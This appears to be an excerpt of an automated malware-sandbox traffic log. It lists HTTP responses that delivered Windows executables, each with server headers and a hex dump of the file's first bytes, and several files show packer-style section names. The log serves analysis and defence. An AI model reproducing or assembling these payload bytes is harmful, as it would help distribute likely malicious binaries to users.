00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 06:10:18 GMTContent-Type: application/octet-streamContent-Length: 1821184Last-Modified: Thu, 21 Nov 2024 05:12:18 GMTConnection: keep-aliveETag: "673ec132-1bca00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 20 6a 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 50 6a 00 00 04 00 00 7e 32 1c 00 02 00 40 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 4d b0 24 00 61 00 00 00 00 a0 24 00 ac 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 b1 24 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 90 24 00 00 10 00 00 00 62 01 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 ac 01 00 00 00 a0 24 00 00 02 00 00 00 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 b0 24 00 00 02 00 00 00 74 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 20 2b 00 00 c0 24 00 00 02 00 00 00 76 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 72 6b 75 6b 75 61 79 75 00 30 1a 00 00 e0 4f 00 00 2c 1a 00 00 78 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 75 76 78 62 6b 64 6a 66 00 10 00 00 00 10 6a 00 00 04 00 00 00 a4 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 20 6a 00 00 22 00 00 00 a8 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 06:10:27 GMTContent-Type: application/octet-streamContent-Length: 923136Last-Modified: Thu, 21 Nov 2024 05:10:25 GMTConnection: keep-aliveETag: "673ec0c1-e1600"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 b9 c0 3e 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 66 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 09 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 0e 00 00 04 00 00 67 3e 0e 00 02 00 40 80 00 00 40 00 00 10 00 00 00 00 40 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 64 8e 0c 00 7c 01 00 00 00 40 0d 00 94 aa 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 0d 00 94 75 00 00 f0 0f 0b 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 34 0c 00 18 00 00 00 10 10 0b 00 40 00 00 00 00 00 00 00 00 00 00 00 00 c0 09 00 94 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 1d ab 09 00 00 10 00 00 00 ac 09 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 82 fb 02 00 00 c0 09 00 00 fc 02 00 00 b0 09 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 6c 70 00 00 00 c0 0c 00 00 48 00 00 00 ac 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 94 aa 00 00 00 40 0d 00 00 ac 00 00 00 f4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 94 75 00 00 00 f0 0d 00 00 76 00 00 00 a0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 06:10:30 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 11:30:30 GMTETag: "10e436-5e7ec6832a180"Accept-Ranges: bytesContent-Length: 1106998Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 12 00 d7 dd 15 63 00 92 0e 00 bf 13 00 00 e0 00 06 21 0b 01 02 19 00 26 0b 00 00 16 0d 00 00 0a 00 00 00 14 00 00 00 10 00 00 00 40 0b 00 00 00 e0 61 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 30 0f 00 00 06 00 00 1c 3a 11 00 03 00 00 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 d0 0c 00 88 2a 00 00 00 00 0d 00 d0 0c 00 00 00 30 0d 00 a8 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 0d 00 18 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 04 20 0d 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0c 02 0d 00 d0 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 84 25 0b 00 00 10 00 00 00 26 0b 00 00 06 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 50 60 2e 64 61 74 61 00 00 00 7c 27 00 00 00 40 0b 00 00 28 00 00 00 2c 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 c0 2e 72 64 61 74 61 00 00 70 44 01 00 00 70 0b 00 00 46 01 00 00 54 0b 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 60 40 2e 62 73 73 00 00 00 00 28 08 00 00 00 c0 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 60 c0 2e 65 64 61 74 61 00 00 88 2a 00 00 00 d0 0c 00 00 2c 00 00 00 9a 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 40 2e 69 64 61 74 61 00 00 d0 0c 00 00 00 00 0d 00 00 0e 00 00 00 c6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 43 52 54 00 00 00 00 2c 00 00 00 00 10 0d 00 00 02 00 00 00 d4 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 74 6c 73 00 00 00 00 20 00 00 00 00 20 0d 00 00 02 00 00 00 d6 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 73 72 63 00 00 00 a8 04 00 00 00 30 0d 00 00 06 00 00 00 d8 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 c0 2e 72 65 6c 6f 63 00 00 18 3c 00 00 00 40 0d 00 00 3e 00 00 00 de 0c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 30 42 2f 34 00 00 00 00 00 00 38 05 00 00 00 80 0d 00 00 06 00 00 00 1c 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 40 42 2f 31 39 00 00 00 00 00 52 c8 00 00 00 90 0d 00 00 ca 00 00 00 22 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 33 31 00 00 00 00 00 5d 27 00 00 00 60 0e 00 00 28 00 00 00 ec 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 10 42 2f 34 35 00 00 00 00 00 9a 2d 00 00 00 90 0e 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 06:10:35 GMTContent-Type: application/octet-streamContent-Length: 2772480Last-Modified: Thu, 21 Nov 2024 05:10:51 GMTConnection: keep-aliveETag: "673ec0db-2a4e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 c0 2a 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 00 2b 00 00 04 00 00 e4 bc 2a 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 40 00 00 00 20 00 00 00 12 00 00 00 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 00 00 00 9c 05 00 00 00 60 00 00 00 06 00 00 00 32 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 20 00 00 00 80 00 00 00 02 00 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 6a 62 6a 65 6d 71 6d 65 00 00 2a 00 00 a0 00 00 00 ec 29 00 00 3a 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 70 6c 6f 65 6d 75 76 78 00 20 00 00 00 a0 2a 00 00 06 00 00 00 26 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 40 00 00 00 c0 2a 00 00 22 00 00 00 2c 2a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Thu, 21 Nov 2024 06:10:45 GMTContent-Type: application/octet-streamContent-Length: 4431360Last-Modified: Thu, 21 Nov 2024 06:08:20 GMTConnection: keep-aliveETag: "673ece54-439e00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 e9 85 3c 67 00 00 00 00 00 00 00 00 e0 00 0e 03 0b 01 02 28 00 fc 49 00 00 96 73 00 00 32 00 00 00 b0 c6 00 00 10 00 00 00 10 4a 00 00 00 40 00 00 10 00 00 00 02 00 00 04 00 00 00 01 00 00 00 04 00 00 00 00 00 00 00 00 e0 c6 00 00 04 00 00 ee 08 44 00 02 00 40 00 00 00 20 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 5f 00 71 00 73 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 9b c6 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f0 9a c6 00 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 00 20 20 20 20 00 e0 70 00 00 10 00 00 00 78 27 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 72 73 72 63 20 20 20 00 10 00 00 00 f0 70 00 00 00 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 20 20 00 10 00 00 00 00 71 00 00 02 00 00 00 88 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 20 20 20 20 20 20 20 20 00 a0 39 00 00 10 71 00 00 02 00 00 00 8a 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 69 7a 6c 64 69 66 76 6c 00 f0 1b 00 00 b0 aa 00 00 ec 1b 00 00 8c 27 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 61 73 65 65 75 6c 6a 6a 00 10 00 00 00 a0 c6 00 00 04 00 00 00 78 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 2e 74 61 67 67 61 6e 74 00 30 00 00 00 b0 c6 00 00 22 00 00 00 7c 43 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 e0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 06:10:48 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "a7550-5e7e950876500"Accept-Ranges: bytesContent-Length: 685392Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f3 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 0e 08 00 00 34 02 00 00 00 00 00 70 12 08 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 d0 0a 00 00 04 00 00 cb fd 0a 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 48 1c 0a 00 53 00 00 00 9b 1c 0a 00 c8 00 00 00 00 90 0a 00 78 03 00 00 00 00 00 00 00 00 00 00 00 46 0a 00 50 2f 00 00 00 a0 0a 00 f0 23 00 00 94 16 0a 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 20 08 00 a0 00 00 00 00 00 00 00 00 00 00 00 a4 1e 0a 00 40 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 95 0c 08 00 00 10 00 00 00 0e 08 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 c4 06 02 00 00 20 08 00 00 08 02 00 00 12 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 3c 46 00 00 00 30 0a 00 00 02 00 00 00 1a 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 80 0a 00 00 02 00 00 00 1c 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 90 0a 00 00 04 00 00 00 1e 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 f0 23 00 00 00 a0 0a 00 00 24 00 00 00 22 0a 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Thu, 21 Nov 2024 06:10:50 GMTServer: Apache/2.4.41 (Ubuntu)Last-Modified: Mon, 05 Sep 2022 07:49:08 GMTETag: "94750-5e7e950876500"Accept-Ranges: bytesContent-Length: 608080Content-Type: application/x-msdos-programData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 07 00 a4 34 12 63 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 b6 07 00 00 5e 01 00 00 00 00 00 c0 b9 03 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 80 09 00 00 04 00 00 6a aa 09 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 01 60 08 00 e3 57 00 00 e4 b7 08 00 2c 01 00 00 00 20 09 00 b0 08 00 00 00 00 00 00 00 00 00 00 00 18 09 00 50 2f 00 00 00 30 09 00 d8 41 00 00 14 53 08 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bc f8 07 00 18 00 00 00 68 d0 07 00 a0 00 00 00 00 00 00 00 00 00 00 00 ec bc 08 00 dc 03 00 00 e4 5a 08 00 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 61 b5 07 00 00 10 00 00 00 b6 07 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 94 09 01 00 00 d0 07 00 00 0a 01 00 00 ba 07 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 44 1d 00 00 00 e0 08 00 00 04 00 00 00 c4 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 00 09 00 00 02 00 00 00 c8 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 74 6c 73 00 00 00 00 15 00 00 00 00 10 09 00 00 02 00 00 00 ca 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 b0 08 00 00 00 20 09 00 00 0a 00 00 00 cc 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 d8 41 00 00 00 30 09 00 00 42 00 00 00 d6 08 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
